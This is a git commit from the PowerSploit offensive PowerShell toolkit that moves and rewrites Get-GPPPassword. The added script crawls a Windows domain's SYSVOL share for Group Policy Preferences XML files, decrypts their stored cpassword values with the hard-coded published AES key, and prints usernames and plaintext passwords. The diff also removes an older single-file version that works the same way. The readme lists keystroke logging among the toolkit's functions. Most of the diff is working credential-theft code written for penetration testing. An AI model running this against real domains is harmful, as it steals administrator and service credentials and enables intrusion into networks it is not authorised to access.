Updated Get-GPPPassword

This commit is contained in:
Matt Graeber 2013-07-03 05:46:44 -04:00
parent 717950d00c
commit 371c65c9a7
5 changed files with 133 additions and 113 deletions

View File

@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
# List of all files packaged with this module # List of all files packaged with this module
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
'Get-Keystrokes.ps1', 'Usage.md' 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess # Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = '' # PrivateData = ''

View File

@ -0,0 +1,126 @@
function Get-GPPPassword {
<#
.SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.EXAMPLE
Get-GPPPassword
.LINK
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
[CmdletBinding()]
Param ()
#define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
if ($Mod -ne 0) {$Cpassword += ('=' * (4 - $Mod))}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error "$Error[0]"}
}
#discover potential files containing passwords
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
foreach ($File in $XMLFiles) {
try {
$Filename = $File.Name
$Filepath = $File.VersionInfo.FileName
#put filename in $XmlFile
[xml] $Xml = Get-Content ($File)
#declare blank variables
$Cpassword = ''
$UserName = ''
$NewName = ''
$Changed = ''
switch ($Filename) {
'Groups.xml' {
$Cpassword = $Xml.Groups.User.Properties.cpassword
$UserName = $Xml.Groups.User.Properties.userName
$NewName = $Xml.Groups.User.Properties.newName
$Changed = $Xml.Groups.User.changed
}
'Services.xml' {
$Cpassword = $Xml.NTServices.NTService.Properties.cpassword
$UserName = $Xml.NTServices.NTService.Properties.accountName
$Changed = $Xml.NTServices.NTService.changed
}
'Scheduledtasks.xml' {
$Cpassword = $Xml.ScheduledTasks.Task.Properties.cpassword
$UserName = $Xml.ScheduledTasks.Task.Properties.runAs
$Changed = $Xml.ScheduledTasks.Task.changed
}
'DataSources.xml' {
$Cpassword = $Xml.DataSources.DataSource.Properties.cpassword
$UserName = $Xml.DataSources.DataSource.Properties.username
$Changed = $Xml.DataSources.DataSource.changed
}
}
if ($Cpassword) {$Password = Get-DecryptedCpassword $Cpassword}
else {Write-Verbose "No encrypted passwords found in $Filepath"}
#Create custom object to output results
$ObjectProperties = @{'Password' = $Password;
'UserName' = $UserName;
'Changed' = $Changed;
'NewName' = $NewName
'File' = $Filepath}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Output $ResultsObject
}
catch {Write-Error $Error[0]}
}
}

View File

@ -132,6 +132,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas
Logs keys pressed, time and the active window. Logs keys pressed, time and the active window.
#### `Get-GPPPassword`
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
#### `Get-TimedScreenshot` #### `Get-TimedScreenshot`
A function that takes screenshots at a regular interval and saves them to a folder. A function that takes screenshots at a regular interval and saves them to a folder.
@ -152,10 +156,6 @@ Returns the HTTP Status Codes and full URL for specified paths when provided wit
Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test. Scans an IP address range for DNS PTR records. This script is useful for performing DNS reconnaissance prior to conducting an authorized penetration test.
#### `Get-GPPPassword`
Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
## Recon\Dictionaries ## Recon\Dictionaries
**A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.** **A collection of dictionaries used to aid in the reconnaissance phase of a penetration test. Dictionaries were taken from the following sources.**

View File

@ -1,106 +0,0 @@
function Get-GPPPassword
{
<#
.SYNOPSIS
Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.
.PARAMETER Path
The path to the targeted groups.xml file.
.EXAMPLE
Get-GPPPassword -path c:\demo\groups.xml
.LINK
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
#>
Param (
[Parameter(Position = 0, Mandatory = $True)]
[String]
$Path = "$PWD\groups.xml"
)
#Function to pull encrypted password string from groups.xml
function Parse-cPassword {
try {
[xml] $Xml = Get-Content ($Path)
[String] $Cpassword = $Xml.Groups.User.Properties.cpassword
} catch { Write-Error "No Password Policy Found in File!" }
return $Cpassword
}
#Function to look to see if the administrator account is given a newname
function Parse-NewName {
[xml] $Xml = Get-Content ($Path)
[String] $NewName = $Xml.Groups.User.Properties.newName
return $NewName
}
#Function to parse out the Username whose password is being specified
function Parse-UserName {
try {
[xml] $Xml = Get-Content ($Path)
[string] $UserName = $Xml.Groups.User.Properties.userName
} catch { Write-Error "No Username Specified in File!" }
return $UserName
}
#Function that decodes and decrypts password
function Decrypt-Password {
try {
#Append appropriate padding based on string length
$Pad = "=" * (4 - ($Cpassword.length % 4))
$Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
#Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
} catch { Write-Error "Decryption Failed!" }
}
$Cpassword = Parse-cPassword
$Password = Decrypt-Password
$NewName = Parse-NewName
$UserName = Parse-UserName
$Results = New-Object System.Object
Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password
return $Results
}

View File

@ -73,8 +73,8 @@ AliasesToExport = ''
ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}) ModuleList = @(@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'})
# List of all files packaged with this module # List of all files packaged with this module
FileList = 'Recon.psm1', 'Recon.psd1', 'Get-GPPPassword.ps1', 'Get-HttpStatus.ps1', FileList = 'Recon.psm1', 'Recon.psd1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1',
'Invoke-ReverseDnsLookup.ps1', 'Usage.md' 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess # Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = '' # PrivateData = ''